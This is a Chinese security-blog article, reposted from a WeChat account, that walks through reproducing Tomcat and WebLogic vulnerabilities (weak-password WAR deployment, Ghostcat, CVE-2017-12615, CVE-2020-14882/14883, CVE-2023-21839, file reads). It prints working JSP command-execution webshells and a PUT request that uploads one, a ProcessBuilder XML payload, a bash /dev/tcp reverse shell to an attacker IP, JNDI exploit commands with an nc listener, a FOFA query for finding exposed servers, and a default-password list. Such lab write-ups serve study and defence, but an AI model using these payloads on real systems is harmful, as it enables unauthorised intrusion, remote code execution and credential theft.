中间件常见漏洞总结

admin 2024年11月23日10:42:56评论7 views字数 5838阅读19分27秒阅读模式

1、Tomcat

弱口令导致war远程部署getshell

影响版本:无

漏洞复现:通过弱口令登录,使用哥斯拉生成一个木马,上传getshell。

中间件常见漏洞总结

点【取消】按钮,跳转至如下页面

中间件常见漏洞总结

根据页面提示信息,在tomcat目录下,找到conf文件夹,然后找到tomcat-users.xml文件。

如图红色框里的几行代码,红框1里的是用户在安装tomcat时设置的密码,如果用户在安装时未设定密码则如红框2里的显示。username是账户,password是密码。

中间件常见漏洞总结

使用哥斯拉声生成木马

中间件常见漏洞总结

得到ws.jsp木马文件,将ws.jsp 压缩ws.zip,在一次压缩ws.war后,进行上传

中间件常见漏洞总结

访问是否上传成功

/ws解压后得到ws.jsp  ,所以访问ws/ws.jsp

哥斯拉链接成功

中间件常见漏洞总结

文件包含漏洞(CVE-2020-1938)

漏洞描述:默认情况下,Apache  Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互.但Apache  Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应用根目录下的任意文件,如果配合文件上传任意格式文件,将可能导致任意代码执行(RCE).该漏洞利用AJP服务端口实现攻击,未开启AJP服务对外不受漏洞影响(tomcat默认将AJP服务开启并绑定至0.0.0.0/0).

影响范围

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

前提条件:

对于处在漏洞影响版本范围内的 Tomcat 而言,若其开启 AJP  Connector 且攻击者能够访问 AJP Connector 服务端口的情况下,即存在被 Ghostcat 漏洞利用的风险。注意  Tomcat AJP Connector 默认配置下即为开启状态,且监听在 0.0.0.0:8009

漏洞原理

Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP  协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat  AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell

漏洞危害:

攻击者可以读取 Tomcat所有  webapp目录下的任意文件。此外如果网站应用提供文件上传的功能,攻击者可以先向服务端上传一个内容含有恶意 JSP  脚本代码的文件(上传的文件本身可以是任意类型的文件,比如图片、纯文本文件等),然后利用 Ghostcat  漏洞进行文件包含,从而达到代码执行的危害

漏洞复现

1、下载链接:https://github.com/backlion/CVE-2020-1938/blob/master/apache-tomcat-8.5.32.zip

2、安装JDK,并配置环境

3、启动tomcat,点击tomcat目录/bin 文件夹下的startup.bat

中间件常见漏洞总结

任意文件读取

可以读取webapps目录下的任何文件

 python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f WEB-INF/web.xml

中间件常见漏洞总结

任意文件包含

1、首先得上传一个要包含的文件内容,并将文件上传到webapps目录

test.txt

<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>

2、访问该文件内容test.txt

中间件常见漏洞总结

3、输入命令,执行命令

python3 cve-2020-10487-v1.py 192.168.1.9 -p 8009 -f exec.txt --rce 1

中间件常见漏洞总结

文件上传漏洞(CVE-2017-12615)

漏洞原理

当 Tomcat 运行在 Windows 主机上,启用了 HTTP PUT 请求方法,可以通过构造请求向服务器上传包含任意代码的 JSP 文件,导致 JSP 文件中的代码能够被服务器执行

影响范围:

Tomcat 7.0.0 - 7.0.81

漏洞描述:Apache Tomcat 7.0.0 - 7.0.79漏洞产生原因:在这个Dockerfile文件中,通过修改web.xml文件来添加一个名为readonly的参数,其值为false

漏洞复现:

靶场搭建可以直接使用vulhub

可以看到readonly值为false

中间件常见漏洞总结

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

<%
    java.io.InputStream is = Runtime.getRuntime()
                            .exec(request.getParameter("command"))
                            .getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    while ((a = is.read(b)) != -1) {
        out.print(new String(b));
    }
%>

中间件常见漏洞总结

访问,即可执行任意命令

中间件常见漏洞总结

2、Weblogic

任意文件读取漏洞

漏洞原理:路径下存在任意文件读取: /hello/file.jsp?path=/etc/passwd

影响范围:

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3

漏洞复现

通过/etc/passwd读取用户信息

http://xxx:7001/hello/file.jsp?path=/etc/passwd

中间件常见漏洞总结

1、读取密文文件

读取配置文件拿到加密密钥:

/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml

中间件常见漏洞总结

2、读取加密后的密码

使用burp抓包后,并将密码存储为.dat文件

/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

中间件常见漏洞总结

将读取的文件内容生成文件

3、解密

https://github.com/TideSec/Decrypt_Weblogic_Password

中间件常见漏洞总结

远程命令执行漏洞

CVE-2020-14882: 代码执行漏洞

远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console,并在 WebLogic Server Console 执行任意代码。 CVE-2020-14883: 权限绕过漏洞

远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console

漏洞原理

CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令

影响范围

WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0

漏洞复现

构造xml文件

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

访问.xml文件,会在tmp生成success文件

中间件常见漏洞总结

同理:修改 .xml文件中<![CDATA[bash-i >& /dev/tcp/攻击机IP/4444 0>&1]>即可反弹shell

未授权远程代码执行漏洞(CVE-2023-21839)

漏洞原理

WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic  IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。

影响范围:

12.2.1.2.0
12.2.1.1.0
12.2.1.3.0
12.2.1.0.0
12.2.1.4.0
14.1.1.0.0
12.1.2.0.0
12.1.3.0.0
10.3.6.0

FOFA

app="BEA-WebLogic-Server" || app="Weblogic_interface_7001"

Vulfocus 已经集成该漏洞环境可通过以下环境使用:

docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.2.1.2.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.2.1.1.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.2.1.3.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.2.1.4.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.2.1.0.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:14.1.1.0.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.1.2.0.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.1.3.0.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:10.3.6.0-jdk-release

漏洞环境:利用vulhub

漏洞复现:

下载https://github.com/WhiteHSBG/JNDIExploit

1、搭建ldap服务

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i kali的ip

中间件常见漏洞总结

2、kali 开启NC

nc -lvvp 9999

3、下载EXP

https://github.com/DXask88MA/Weblogic-CVE-2023-21839

执行命令

java -jar Weblogic-CVE-2023-21839.jar 靶场 IP:7001 ldap://ldap服务器IP:1389/Basic/ReverseShell/ldap服务器IP/nc监听端口

4、成功反弹shell,监听成功

中间件常见漏洞总结

Weblogic常用弱口令

可以去测试一下是否能登录上

weblogic/Oracle@123
system/password
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
weblogic/weblogic123
weblogic/weblogic2
system/password
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
guest/guest
portaladmin/portaladmin
system/system
WebLogic/WebLogic

原文始发于微信公众号(进击的HACK):中间件常见漏洞总结

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月23日10:42:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   中间件常见漏洞总结https://cn-sec.com/archives/3427688.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息